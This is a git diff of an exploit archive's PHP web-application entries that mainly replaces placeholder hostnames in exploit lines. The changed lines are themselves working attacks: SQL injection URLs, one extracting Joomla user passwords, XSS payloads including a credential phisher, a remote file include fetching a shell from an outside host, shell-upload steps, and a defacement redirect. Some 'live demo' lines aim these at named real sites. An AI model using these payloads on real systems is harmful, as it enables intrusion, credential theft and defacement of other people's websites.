a/platforms/php/webapps/8981.txt +++ b/platforms/php/webapps/8981.txt @@ -13,7 +13,7 @@ Exploit; javascript:document.cookie="kulladi=[Username];path=/"; Enter.. -Go To; http://server/uye_paneli.php?islem=bilgilerim +Go To; http://target.com/uye_paneli.php?islem=bilgilerim ######################################################## diff --git a/platforms/php/webapps/8988.txt b/platforms/php/webapps/8988.txt index 9b04e6e54..6992537a3 100755 --- a/platforms/php/webapps/8988.txt +++ b/platforms/php/webapps/8988.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| q_|_|| o_\\\_, ( : / (_) / ( . diff --git a/platforms/php/webapps/8990.txt b/platforms/php/webapps/8990.txt index 37c4e1723..ae61e4f98 100755 --- a/platforms/php/webapps/8990.txt +++ b/platforms/php/webapps/8990.txt @@ -12,7 +12,7 @@ SQL Injection Vulnerability ################################################################### Exploit ################################################################### -Http://www.server/phpDatingClub/search.php?mode=day&sform%5Bday%5D=-1+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44-- +Http://www.site.com/phpDatingClub/search.php?mode=day&sform%5Bday%5D=-1+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44-- Xss website.php?page=%3Cscript%3Ealert(0)%3C/script%3E Demo diff --git a/platforms/php/webapps/9011.txt b/platforms/php/webapps/9011.txt index d2a69adbc..f304e09bf 100755 --- a/platforms/php/webapps/9011.txt +++ b/platforms/php/webapps/9011.txt @@ -14,11 +14,11 @@ | | Exploite : | -| 1-server/[path]/components/com_pinboard/popup/popup.php?option=showupload +| 1-target.com/[path]/components/com_pinboard/popup/popup.php?option=showupload | | or | -| 2-server/[path]/index2.php?option=com_pinboard&Itemid=117&action=popup%22&action=popup&task=uploadForm +| 2-target.com/[path]/index2.php?option=com_pinboard&Itemid=117&action=popup%22&action=popup&task=uploadForm | | [#] click on the photo in Top Of Left | @@ -26,11 +26,11 @@ | | [#] Pwd Your Shell | -| server/[path]/images/stories/pinboard/picture/[name your shell].php.jpg +| target.com/[path]/images/stories/pinboard/picture/[name your shell].php.jpg | | Or | -| server/[path]/strona/components/com_pinboard/pictures/[name your shell].php.jpg +| target.com/[path]/strona/components/com_pinboard/pictures/[name your shell].php.jpg | ############################################################## |Greets : All members of islam-attack.com , hackteach.org , s3curi7y.com & All Muslim's diff --git a/platforms/php/webapps/9021.txt b/platforms/php/webapps/9021.txt index fdd6d3701..917abadc5 100755 --- a/platforms/php/webapps/9021.txt +++ b/platforms/php/webapps/9021.txt @@ -9,15 +9,15 @@ [~] Vuln: (PollID) -http://www.server/[MDPro_path]/modules.php?name=Surveys&op=results&pollID=[SQL] +http://www.site.com/[MDPro_path]/modules.php?name=Surveys&op=results&pollID=[SQL] or -http://www.server/[MDPro_path]/modules.php?op=modload&name=NS-Polls&file=index&req=results&pollID=[SQL] +http://www.site.com/[MDPro_path]/modules.php?op=modload&name=NS-Polls&file=index&req=results&pollID=[SQL] [~] DeMo: For example, if yuo want see the version of MySql write: -http://www.server/[MDPro_path]/modules.php?name=Surveys&op=results&pollID=+and+substring(@@version,1,1)=5# +http://www.site.com/[MDPro_path]/modules.php?name=Surveys&op=results&pollID=+and+substring(@@version,1,1)=5# Like: diff --git a/platforms/php/webapps/9028.txt b/platforms/php/webapps/9028.txt index c4563a15f..445dfd24f 100755 --- a/platforms/php/webapps/9028.txt +++ b/platforms/php/webapps/9028.txt @@ -1,4 +1,4 @@ - + ------------------------------------------------------------------------------ Joomla Component com_php (id) Blind SQL-injection Vulnerability ------------------------------------------------------------------------------ diff --git a/platforms/php/webapps/9036.txt b/platforms/php/webapps/9036.txt index d5024fe7b..2ab274960 100755 --- a/platforms/php/webapps/9036.txt +++ b/platforms/php/webapps/9036.txt @@ -1,4 +1,4 @@ -=-=-local file include-=-= + =-=-local file include-=-= -=-=-=-=-=-=-=-=-=-=-=- script: PHP-Sugar 0.80 diff --git a/platforms/php/webapps/9050.pl b/platforms/php/webapps/9050.pl index 96c207aca..6a37028e6 100755 --- a/platforms/php/webapps/9050.pl +++ b/platforms/php/webapps/9050.pl @@ -5,7 +5,7 @@ thanks: mailbrush, antichat.ru, uasc.org.ua ------------------------------------------------------------------------- usage: - expl.pl http://server/smf/index.php ID_MEMBER TABLE_PREF {params} + expl.pl http://site.com/smf/index.php ID_MEMBER TABLE_PREF {params} params: -v = get version() -u = get user() @@ -53,7 +53,7 @@ example: if (!$ARGV[0]) { print " usage:\n". - " expl.pl http://server/smf/index.php ID_MEMBER TABLE_PREF {params}\n". + " expl.pl http://site.com/smf/index.php ID_MEMBER TABLE_PREF {params}\n". " params:\n". " -v = get version()\n". " -u = get user()\n". diff --git a/platforms/php/webapps/9051.txt b/platforms/php/webapps/9051.txt index c06997e59..42e4f5d5b 100755 --- a/platforms/php/webapps/9051.txt +++ b/platforms/php/webapps/9051.txt @@ -1,4 +1,4 @@ ---:remote file include:-- + --:remote file include:-- --------------------------------- script:Jax FormMailer 3.0.0 Release:01.06.2008 @@ -14,7 +14,7 @@ dork:intitle:"Jax Formmailer - Administration" ------------------------------------------- xpl: -/path/modules/formmailer/formmailer.admin.inc.php?BASE_DIR[jax_formmailer]=http://server/shell.txt? +/path/modules/formmailer/formmailer.admin.inc.php?BASE_DIR[jax_formmailer]=http://site.com/shell.txt? ******************************************* diff --git a/platforms/php/webapps/907.pl b/platforms/php/webapps/907.pl index dc082e364..cbac79b4c 100755 --- a/platforms/php/webapps/907.pl +++ b/platforms/php/webapps/907.pl @@ -2,7 +2,7 @@ use IO::Socket; ## Example: -## C:\>phpbb.pl www.server /phpBB2/ 2 +## C:\>phpbb.pl www.site.com /phpBB2/ 2 ## ## downloads.php mod in phpBB <= 2.0.13 ## ********************************** @@ -20,7 +20,7 @@ print " phpBB <=2.0.13 'downloads.php' Mod\n"; print " Bug found by Axl And CereBrums\n"; print " Coded by CereBrums // 2/4/2005\n"; print " Usage: phpbb.pl <site> <folder> <user_id>\n"; -print " e.g.: phpbb.pl www.server /phpBB2/ 2 \n"; +print " e.g.: phpbb.pl www.site.com /phpBB2/ 2 \n"; print " [~] <server> - site address\n"; print " [~] <folder> - forum folder\n"; print " [~] <user_id> - user id (2 default for phpBB admin)\n"; diff --git a/platforms/php/webapps/9079.txt b/platforms/php/webapps/9079.txt index 92141f8ea..590b175fa 100755 --- a/platforms/php/webapps/9079.txt +++ b/platforms/php/webapps/9079.txt @@ -29,7 +29,7 @@ ===[ Exploit SQL ]=== - [»] http://www.server/patch/admin/ + [»] http://www.site.com/patch/admin/ [»] User Name : admin' or '1=1 [»] Password : leave empty here diff --git a/platforms/php/webapps/9081.txt b/platforms/php/webapps/9081.txt index 636756db1..161650060 100755 --- a/platforms/php/webapps/9081.txt +++ b/platforms/php/webapps/9081.txt @@ -29,7 +29,7 @@ ===[ Exploit SQL ]=== - [»] http://www.server/patch/?product=[SQL]&panel=rent%2Fselect_time + [»] http://www.site.com/patch/?product=[SQL]&panel=rent%2Fselect_time ===[ LIVE DEMO ]=== @@ -37,7 +37,7 @@ ===[ Exploit BLIND SQL ]=== - [»] http://www.server/patch/?product=[BLIND]&panel=rent%2Fselect_time + [»] http://www.site.com/patch/?product=[BLIND]&panel=rent%2Fselect_time ===[ LIVE DEMO ]=== diff --git a/platforms/php/webapps/9086.txt b/platforms/php/webapps/9086.txt index dc281deee..88ee1e298 100755 --- a/platforms/php/webapps/9086.txt +++ b/platforms/php/webapps/9086.txt @@ -8,12 +8,12 @@ ################################################################################################################# Exploit: ------- - 1)Go To add Your Picture http://www.server/path/submit.cgi + 1)Go To add Your Picture http://www.site.com/path/submit.cgi 2) Upload Your Shell.php 3) Image Properties And The link Of shell :) Exapmle: ------- - http://server/upload/68456_shell1.php + http://site.com/upload/68456_shell1.php Demo: ---- http://www.myhotlinks.net/cgi-bin/tgp/submit.cgi diff --git a/platforms/php/webapps/9088.txt b/platforms/php/webapps/9088.txt index e2a7441a1..177e03843 100755 --- a/platforms/php/webapps/9088.txt +++ b/platforms/php/webapps/9088.txt @@ -28,7 +28,7 @@ ===[ Exploit To Uninstall The Script ]=== - [»] http://www.server/path/gw_install/index.php?arg[il]=english&arg[target]=uninstall + [»] http://www.Site.com/path/gw_install/index.php?arg[il]=english&arg[target]=uninstall == [ Exploit To New installation The Script ] == diff --git a/platforms/php/webapps/9092.txt b/platforms/php/webapps/9092.txt index f3b754e1e..85ce72be6 100755 --- a/platforms/php/webapps/9092.txt +++ b/platforms/php/webapps/9092.txt @@ -1,4 +1,4 @@ -============================================================================================= + ============================================================================================= Title : (Blind SQL/XSS) Multiple Remote Vulnerabilities Software : WebAsyst Shop-Script diff --git a/platforms/php/webapps/9094.txt b/platforms/php/webapps/9094.txt index 6022952b8..92830a452 100755 --- a/platforms/php/webapps/9094.txt +++ b/platforms/php/webapps/9094.txt @@ -14,7 +14,7 @@ ==> Product Page : -==> http://easyvillarentalserver +==> http://easyvillarentalsite.com ==> ExplO!te : @@ -22,7 +22,7 @@ ==> L!ve D3mo : -==> http://easyvillarentalserver/demo/show_category.php?Id=-2/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,concat_ws(0x3a,user(),0x3a,database(),0x3a,version())-- +==> http://easyvillarentalsite.com/demo/show_category.php?Id=-2/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,concat_ws(0x3a,user(),0x3a,database(),0x3a,version())-- ========================================================= diff --git a/platforms/php/webapps/9099.pl b/platforms/php/webapps/9099.pl index 9861f4eab..1c27e332b 100755 --- a/platforms/php/webapps/9099.pl +++ b/platforms/php/webapps/9099.pl @@ -12,7 +12,7 @@ print "\t\t0 Universe CMS 1.0.6 (id) Remote SQL Injection Exploit 0\n\n"; print "\t\t0 by Mr.tro0oqy 0\n\n"; print "\t\t0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0\n\n"; use LWP::UserAgent; -die "Example: perl $0 http://server/path \n" unless @ARGV; +die "Example: perl $0 http://target.com/path \n" unless @ARGV; $user="login"; $pass="password"; $tab="uni_users"; diff --git a/platforms/php/webapps/910.pl b/platforms/php/webapps/910.pl index 6f1e3bafd..458e4ec20 100755 --- a/platforms/php/webapps/910.pl +++ b/platforms/php/webapps/910.pl @@ -2,7 +2,7 @@ use IO::Socket; ## Example: -## C:\>cal_phpbb.pl www.server /phpBB2/ 2 +## C:\>cal_phpbb.pl www.site.com /phpBB2/ 2 ## ## 'Calendar Pro' Mod for phpBB ## ************************* @@ -20,7 +20,7 @@ print " 'Calendar Pro' Mod <= 2.0.33 (Newest version) For phpBB\n"; print " Bug found by Axl\n"; print " Coded by CereBrums // 4/4/2005\n"; print " Usage: cal_phpbb.pl <server> <folder> <user_id>\n"; -print " e.g.: cal_phpbb.pl www.server /phpBB2/ 2 \n"; +print " e.g.: cal_phpbb.pl www.site.com /phpBB2/ 2 \n"; print " [~] <server> - site address\n"; print " [~] <folder> - forum folder\n"; print " [~] <user_id> - user id (2 is default for phpBB admin) \n"; diff --git a/platforms/php/webapps/9105.txt b/platforms/php/webapps/9105.txt index e0b42e69b..0f5f46f71 100755 --- a/platforms/php/webapps/9105.txt +++ b/platforms/php/webapps/9105.txt @@ -1,4 +1,4 @@ -################################################################### + ################################################################### ################################################################### MyMsg 1.0.3 (Profile.php ) Remote SQL Injection Vuln ################################################################### diff --git a/platforms/php/webapps/9111.txt b/platforms/php/webapps/9111.txt index f19a166b8..f3fbf5bd6 100755 --- a/platforms/php/webapps/9111.txt +++ b/platforms/php/webapps/9111.txt @@ -29,12 +29,12 @@ ===[ Exploit BLIND SQL + DEMO ]=== - [»] http://www.server/co-profile.php?emp_id=[SQL] + [»] http://www.site.com/co-profile.php?emp_id=[SQL] [»] http://www.jobbr.us/co-profile.php?emp_id=null+union+select+version(),2,3,4,5,6,7,8-- ===[ Exploit BLIND SQL + DEMO ]=== - [»] http://www.server/co-profile.php?emp_id=[BLIND] + [»] http://www.site.com/co-profile.php?emp_id=[BLIND] [»] http://www.jobbr.us/co-profile.php?emp_id=1+AND%20SUBSTRING(@@version,1,1)=5 diff --git a/platforms/php/webapps/9118.txt b/platforms/php/webapps/9118.txt index b0218078a..2300207d1 100755 --- a/platforms/php/webapps/9118.txt +++ b/platforms/php/webapps/9118.txt @@ -29,12 +29,12 @@ ===[ Exploit BLIND SQL ]=== - [»] http://www.server/patch/category.php?view=list&cate_id=[BLIND] + [»] http://www.site.com/patch/category.php?view=list&cate_id=[BLIND] [»] http://ebayclonescript.com/ebayclone2009/category.php?view=list&cate_id=1+AND%20SUBSTRING(@@version,1,1)=5 ===[ Exploit XSS ]=== - [»] http://www.server/patch/search.php?mode=[XSS] + [»] http://www.site.com/patch/search.php?mode=[XSS] [»] http://ebayclonescript.com/ebayclone2009/search.php?mode=%22%3E%3Cscript%3Ealert(0)%3C/script%3E Note: in this script have some other blind sql and xss , but i am tired to do all :D diff --git a/platforms/php/webapps/9122.txt b/platforms/php/webapps/9122.txt index 91c0541f4..8ff9214d9 100755 --- a/platforms/php/webapps/9122.txt +++ b/platforms/php/webapps/9122.txt @@ -12,19 +12,19 @@ http://www.opial.com -->Arbitrary File Upload<-- -1. Go to http://www.server/register.php +1. Go to http://www.site.com/register.php 2. Disable JavaScript 3. Upload shell as "User Image" 4. Register -5. Shell location: http://www.server/userimages/SHELL.PHP +5. Shell location: http://www.site.com/userimages/SHELL.PHP -->SQL Injection<-- -http://www.server/home.php?genres_parent=-1%20union/**/select/**/1,concat(user(),%27%20%27,version()),3,4,5,6-- +http://www.site.com/home.php?genres_parent=-1%20union/**/select/**/1,concat(user(),%27%20%27,version()),3,4,5,6-- -->XSS<-- -http://www.server/home.php?genres_parent="><script>alert(document.cookie);</script> +http://www.site.com/home.php?genres_parent="><script>alert(document.cookie);</script> Demo: diff --git a/platforms/php/webapps/9126.txt b/platforms/php/webapps/9126.txt index 06d7873f1..666ad8336 100755 --- a/platforms/php/webapps/9126.txt +++ b/platforms/php/webapps/9126.txt @@ -21,7 +21,7 @@ vulnerable parameter: "edit" ($_GET) Exploit : -http://www.server/index.php?option=com_category&task=loadCategory&catid*=-9999+UNION+SELECT+1,2,group_concat(username,0x3a,password),4,5+from+jos_users-- +http://www.site.com/index.php?option=com_category&task=loadCategory&catid*=-9999+UNION+SELECT+1,2,group_concat(username,0x3a,password),4,5+from+jos_users-- Demos : diff --git a/platforms/php/webapps/9138.txt b/platforms/php/webapps/9138.txt index c08448e91..69def6a87 100755 --- a/platforms/php/webapps/9138.txt +++ b/platforms/php/webapps/9138.txt @@ -18,9 +18,9 @@ ################################################################# Example : - http://server/products.php?id=' + http://site.com/products.php?id=' Demo : - http://server/products.php?id=-9+UNION+SELECT+1,2,version%28%29,4,5,6,7,8,9,10,11,12,13-- + http://site.com/products.php?id=-9+UNION+SELECT+1,2,version%28%29,4,5,6,7,8,9,10,11,12,13-- # milw0rm.com [2009-07-13] diff --git a/platforms/php/webapps/9144.txt b/platforms/php/webapps/9144.txt index 6c7188bd9..f9c365834 100755 --- a/platforms/php/webapps/9144.txt +++ b/platforms/php/webapps/9144.txt @@ -1,4 +1,4 @@ -|| || | || + || || | || o_,_7 _|| . _o_7 _|| q_|_|| o_\\\_, ( : / (_) / ( . diff --git a/platforms/php/webapps/9153.txt b/platforms/php/webapps/9153.txt index 559df799b..6b33683be 100755 --- a/platforms/php/webapps/9153.txt +++ b/platforms/php/webapps/9153.txt @@ -18,7 +18,7 @@ # readfile($_GET['fichier']); # } # -# http://www.server/news/system/download.php?fichier=./../up.php +# http://www.site.com/news/system/download.php?fichier=./../up.php #=========================================================== ################################################################# # Securitylab Security Research Team diff --git a/platforms/php/webapps/9159.php b/platforms/php/webapps/9159.php index 9b6ab26b0..1df91b06a 100755 --- a/platforms/php/webapps/9159.php +++ b/platforms/php/webapps/9159.php @@ -1,4 +1,4 @@ -<?php + <?php print_r(' || || | || o_,_7 _|| . _o_7 _|| q_|_|| o_///_, diff --git a/platforms/php/webapps/9161.txt b/platforms/php/webapps/9161.txt index c6260c922..300719ce3 100755 --- a/platforms/php/webapps/9161.txt +++ b/platforms/php/webapps/9161.txt @@ -8,7 +8,7 @@ <p><b><font size="+2">Admin News Tools<i> </i></font><font size="2">Remote Contents Change Vulnerability</font></b></p> </center> -<form action="http://server/news/system/message.php" method="post"> +<form action="http://site.com/news/system/message.php" method="post"> <div><br> <textarea cols="89" rows="12" name="message">&lt;/textarea&gt; <p> diff --git a/platforms/php/webapps/9164.txt b/platforms/php/webapps/9164.txt index 03597fb41..2a8cc133a 100755 --- a/platforms/php/webapps/9164.txt +++ b/platforms/php/webapps/9164.txt @@ -1,4 +1,4 @@ -################################### + ################################### # TiGeR-Dz # ################################################################################# # WebLeague 2.2.0 (install.php)Remote Change Password # diff --git a/platforms/php/webapps/9166.txt b/platforms/php/webapps/9166.txt index cb304ab19..bdd4ab497 100755 --- a/platforms/php/webapps/9166.txt +++ b/platforms/php/webapps/9166.txt @@ -45,7 +45,7 @@ # To use the XSS logger make the admin click this link: # # # #+--[code snippet - put this all in one line]--+ # -# http://victimserver/zp-core/admin.php?from="><script> # +# http://victimsite.com/zp-core/admin.php?from="><script> # # document.forms[0].action="[logged url]"; # # </script><div id="lolpwnt # #+--[ end of code snippet]--+ # @@ -69,7 +69,7 @@ $site = "http://victim.org/zen-photo"; // URL to vulnerable ZP install (no trai $log = "log.txt"; // File to save logs to $user = "admin"; // Name of the new admin $pass = "ownedbydusec"; // New admin pass -$email = "you@server"; // Email to send log notifications to +$email = "you@site.com"; // Email to send log notifications to // Do not edit below this line... if($_POST)// We got logins from the XSS phisher diff --git a/platforms/php/webapps/9171.txt b/platforms/php/webapps/9171.txt index 00a8215d3..b6e5f88b3 100755 --- a/platforms/php/webapps/9171.txt +++ b/platforms/php/webapps/9171.txt @@ -1,4 +1,4 @@ -#################################### + #################################### # Homepage: http://www.vspanel.gr/ # # Product: VS PANEL v.7.5.5 # # DeScOvRed By:C0D3R-Dz # diff --git a/platforms/php/webapps/9174.txt b/platforms/php/webapps/9174.txt index a0f6f06d2..2d4084207 100755 --- a/platforms/php/webapps/9174.txt +++ b/platforms/php/webapps/9174.txt @@ -1,4 +1,4 @@ -PhpLive 3.2.1/2 (x) Blind SQL injection [_][-][X] + PhpLive 3.2.1/2 (x) Blind SQL injection [_][-][X] _ ___ _ ___ ___ ___ _____ __ ___ __ __ ___ | |/ / || |/ __|___ / __| _ \ __\ \ / / |_ ) \ / \/ _ \ | ' <| __ | (_ |___| (__| / _| \ \/\/ / / / () | () \_, / @@ -26,8 +26,8 @@ PhpLive 3.2.1/2 (x) Blind SQL injection [_ [~] SQLi : - http://server/message_box.php?theme=&l=[USERNAME]&x=[SQLi] - http://server/request.php?l=[USERNAME]&x=[SQLi] + http://www.TARGET.com/message_box.php?theme=&l=[USERNAME]&x=[SQLi] + http://www.TARGET.com/request.php?l=[USERNAME]&x=[SQLi] [~]Google Dork : @@ -44,7 +44,7 @@ PhpLive 3.2.1/2 (x) Blind SQL injection [_ [~] Admin Path : - http://server/phplive + http://www.TARGET.com/phplive ------------------------------------------------------------------- [~] Live Demo: diff --git a/platforms/php/webapps/9183.txt b/platforms/php/webapps/9183.txt index f19a69744..fe438ae70 100755 --- a/platforms/php/webapps/9183.txt +++ b/platforms/php/webapps/9183.txt @@ -15,7 +15,7 @@ once on blog... scroll down to: make new comment fill in the name: website: e-mail: forms -then type your html/xss as the comment, eg:<meta HTTP-EQUIV="REFRESH" content="0; url=http://yourserver/deface.htm"> +then type your html/xss as the comment, eg:<meta HTTP-EQUIV="REFRESH" content="0; url=http://yoursite.com/deface.htm"> click preview then submit if your doing a redirect you need to click submit fast diff --git a/platforms/php/webapps/9184.txt b/platforms/php/webapps/9184.txt index 9314b8834..06922b35f 100755 --- a/platforms/php/webapps/9184.txt +++ b/platforms/php/webapps/9184.txt @@ -1,4 +1,4 @@ --------------------------------------------------------------------------- + -------------------------------------------------------------------------- Ger Versluis 2000 version 5.5 24 SITE_fiche.php SQL Injection Vulnerability -------------------------------------------------------------------------- ################################################### @@ -8,7 +8,7 @@ Ger Versluis 2000 version 5.5 24 SITE_fiche.php SQL Injection Vulnerability ################################################### Example: -http://www.server/path/SITE_fiche.php?id=-136++UNION SELECT 1,2,3,4,5,6,7,8,9,10,motdepasse,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95+from+IFI.CLASSCIMES_EVT_TMP/* +http://www.site.com/path/SITE_fiche.php?id=-136++UNION SELECT 1,2,3,4,5,6,7,8,9,10,motdepasse,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95+from+IFI.CLASSCIMES_EVT_TMP/* Demo : http://www.ffme.fr/via-ferrata/SITE_fiche.php?id=136 diff --git a/platforms/php/webapps/9185.txt b/platforms/php/webapps/9185.txt index fa9ed786b..ef811d4e4 100755 --- a/platforms/php/webapps/9185.txt +++ b/platforms/php/webapps/9185.txt @@ -29,14 +29,14 @@ ===[ Exploit XSS vulnerability ]=== - [»] http://www.server/patch/vote.php?action=vote&id=[XSS]&ficdest=0%2Edat&midcast=0%2Etxt + [»] http://www.site.com/patch/vote.php?action=vote&id=[XSS]&ficdest=0%2Edat&midcast=0%2Etxt [»] http://searchall.iwebland.com:80/sigs/vote.php?action=vote&id=[XSS]&ficdest=0%2Edat&midcast=0%2Etxt XSS TO ADD: 1<script>alert(314154736094)</script> ===[ Exploit LFI ]=== - [»] http://www.server/patch/vote.php?action=dovote&id=[LFI]&ficdest=.dat&midcast=.txt + [»] http://www.site.com/patch/vote.php?action=dovote&id=[LFI]&ficdest=.dat&midcast=.txt Author: Moudi diff --git a/platforms/php/webapps/9193.pl b/platforms/php/webapps/9193.pl index e11950624..860aa7d6a 100755 --- a/platforms/php/webapps/9193.pl +++ b/platforms/php/webapps/9193.pl @@ -4,7 +4,7 @@ # Dork : Webdevelopment Tinx-IT # Dork2: Copyright © 2006-2008 Tinx-IT # and open your mind -# admin panel : server/path/cms +# admin panel : www.target.com/path/cms # Found by : Mr.tro0oqy <Yemeni ana> # E-mail : t.4@windowslive.com # special thank for my teacher "Stack" @@ -15,7 +15,7 @@ print "\t\t0 WebVision 2.1 (n) Remote SQL Injection Exploit 0\n\n"; print "\t\t0 by Mr.tro0oqy 0\n\n"; print "\t\t0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0-0\n\n"; use LWP::UserAgent; -die "Example: perl $0 http://server/path \n" unless @ARGV; +die "Example: perl $0 http://target.com/path \n" unless @ARGV; $user="name"; $pass="password"; $tab="users"; diff --git a/platforms/php/webapps/9194.txt b/platforms/php/webapps/9194.txt index 56766c0f6..d1249fccd 100755 --- a/platforms/php/webapps/9194.txt +++ b/platforms/php/webapps/9194.txt @@ -30,7 +30,7 @@ ===[ Exploit + LIVE : SQL INJECTION vulnerability ]=== -[»] http://www.server/patch/index.php?a=view_forum&fid=[SQL] +[»] http://www.site.com/patch/index.php?a=view_forum&fid=[SQL] [»] http://www.radbids.com/auction_software/test/index.php?a=view_forum&fid=null+union+select+1,2,version(),4,5--&admin=0 [»] http://havetosellitnow.com/index.php?a=view_forum&fid=null+union+select+1,2,version(),4,5--&admin=0 @@ -38,7 +38,7 @@ ===[ Exploit + LIVE : BLIND SQL vulnerability ]=== -[»] http://www.server/patch/index.php?a=view_forum&fid=[BLIND] +[»] http://www.site.com/patch/index.php?a=view_forum&fid=[BLIND] [»] http://www.radbids.com/auction_software/test/index.php?a=view_forum&fid=1%20AND%20SUBSTRING(@@version,1,1)=5&admin=0 TRUE http://www.radbids.com/auction_software/test/index.php?a=view_forum&fid=1%20AND%20SUBSTRING(@@version,1,1)=4&admin=0 FALSE @@ -46,7 +46,7 @@ ===[ Exploit XSS + LIVE : vulnerability ]=== -[»] http://www.server/patch/storefront.php?user=104&mode=[XSS] +[»] http://www.site.com/patch/storefront.php?user=104&mode=[XSS] [»] http://www.radbids.com/auction_software/test/storefront.php?user=104&mode=1>"><ScRiPt %0A%0D>alert(528305396116)%3B</ScRiPt> [»] http://www.getmebids.com/storefront.php?user=104&mode=1>"><ScRiPt %0A%0D>alert(528305396116)%3B</ScRiPt> diff --git a/platforms/php/webapps/9195.txt b/platforms/php/webapps/9195.txt index 89f85d8c5..9122678bf 100755 --- a/platforms/php/webapps/9195.txt +++ b/platforms/php/webapps/9195.txt @@ -30,7 +30,7 @@ ===[ Exploit + LIVE : SQL INJECTION vulnerability ]=== -[»] http://www.server/patch/index.php?a=view_forum&fid=[SQL] +[»] http://www.site.com/patch/index.php?a=view_forum&fid=[SQL] [»] http://www.radlance.com/07.5s1/_plain/index.php?a=view_forum&fid=null+union+select+1,2,version(),4,5--&admin=0 [»] http://www.excellance.net/index.php?a=view_forum&fid=null+union+select+1,2,version(),4,5--&admin=0 @@ -38,7 +38,7 @@ ===[ Exploit + LIVE : BLIND SQL vulnerability ]=== -[»] http://www.server/patch/index.php?a=view_forum&fid=[BLIND] +[»] http://www.site.com/patch/index.php?a=view_forum&fid=[BLIND] [»] http://www.radlance.com/07.5s1/_plain/index.php?a=view_forum&fid=1%20AND%20SUBSTRING(@@version,1,1)=5&admin=0 TRUE http://www.radlance.com/07.5s1/_plain/index.php?a=view_forum&fid=1%20AND%20SUBSTRING(@@version,1,1)=4&admin=0 FALSE @@ -46,7 +46,7 @@ ===[ Exploit XSS + LIVE : vulnerability ]=== -[»] http://www.server/patch/index.php?a=ulist&pr=[XSS]& +[»] http://www.site.com/patch/index.php?a=ulist&pr=[XSS]& [»] http://www.radlance.com/07.5s1/_plain/index.php?a=ulist&pr=1</title><ScRiPt %0A%0D>alert(566615539956)%3B</ScRiPt>& [»] http://www.excellance.net/index.php?a=ulist&pr=1</title><ScRiPt %0A%0D>alert(566615539956)%3B</ScRiPt>& diff --git a/platforms/php/webapps/9196.txt b/platforms/php/webapps/9196.txt index bfe49b885..4d58efadd 100755 --- a/platforms/php/webapps/9196.txt +++ b/platforms/php/webapps/9196.txt @@ -31,7 +31,7 @@ ===[ Exploit + LIVE : SQL INJECTION vulnerability ]=== -[»] http://www.server/patch/index.php?a=view_forum&fid=[SQL] +[»] http://www.site.com/patch/index.php?a=view_forum&fid=[SQL] [»] http://www.radnics.com/v5/052107/index.php?a=view_forum&fid=null+union+select+1,2,version(),4,5--&admin=0 [»] http://dottvauction.com/index.php?a=view_forum&fid=null+union+select+1,2,version(),4,5--&admin=0 @@ -39,7 +39,7 @@ ===[ Exploit + LIVE : BLIND SQL vulnerability ]=== -[»] http://www.server/patch/index.php?a=view_forum&fid=[BLIND] +[»] http://www.site.com/patch/index.php?a=view_forum&fid=[BLIND] [»] http://www.radnics.com/v5/052107/index.php?a=view_forum&fid=1%20AND%20SUBSTRING(@@version,1,1)=5&admin=0 TRUE http://www.radnics.com/v5/052107/index.php?a=view_forum&fid=1%20AND%20SUBSTRING(@@version,1,1)=4&admin=0 FALSE @@ -47,8 +47,8 @@ ===[ Exploit XSS + LIVE : vulnerability ]=== -[»] http://www.server/patch/index.php?a=ulist&mode=9&order=[XSS]&cat=1 -[»] http://www.server/patch/index.php?a=view_forum&fid=[XSS]&admin=0 +[»] http://www.site.com/patch/index.php?a=ulist&mode=9&order=[XSS]&cat=1 +[»] http://www.site.com/patch/index.php?a=view_forum&fid=[XSS]&admin=0 [»] http://www.radnics.com/v5/052107/index.php?a=ulist&mode=9&order=1>'><ScRiPt %0A%0D>alert(640795682719)%3B</ScRiPt>&cat=1 [»] http://www.radnics.com/v5/052107/index.php?a=view_forum&fid=1>'><ScRiPt %0A%0D>alert(664745745195)%3B</ScRiPt>&admin=0 diff --git a/platforms/php/webapps/9203.txt b/platforms/php/webapps/9203.txt index 4b3edc9f9..733794088 100755 --- a/platforms/php/webapps/9203.txt +++ b/platforms/php/webapps/9203.txt @@ -13,7 +13,7 @@ ======================================================= Exploit : --------- -http://www.server/path/admin/cikkform.php?cid=1 +http://www.site.com/path/admin/cikkform.php?cid=1 --------- u in control panel @@ -21,7 +21,7 @@ u in control panel control panel : ------------- -http://www.server/path/admin +http://www.site.com/path/admin ------------- diff --git a/platforms/php/webapps/9211.txt b/platforms/php/webapps/9211.txt index 51282de3f..dab17d766 100755 --- a/platforms/php/webapps/9211.txt +++ b/platforms/php/webapps/9211.txt @@ -7,9 +7,9 @@ >> [+] Exploit : -http://www.server/path/supplier/view_contact_details.php?SellerID=(Blind) or (SQL) +http://www.site.com/path/supplier/view_contact_details.php?SellerID=(Blind) or (SQL) -http://www.server/path/category.php?IndustryID=(Blind) or (SQL) +http://www.site.com/path/category.php?IndustryID=(Blind) or (SQL) >> [+] Demo BLIND: diff --git a/platforms/php/webapps/9217.txt b/platforms/php/webapps/9217.txt index 46c6421a4..826be21ec 100755 --- a/platforms/php/webapps/9217.txt +++ b/platforms/php/webapps/9217.txt @@ -1,4 +1,4 @@ -================================================================================================ + ================================================================================================ Title : Remote SQL Injection Vulnerability Software : MyAnnonces Module for E-Xoopport 3.1 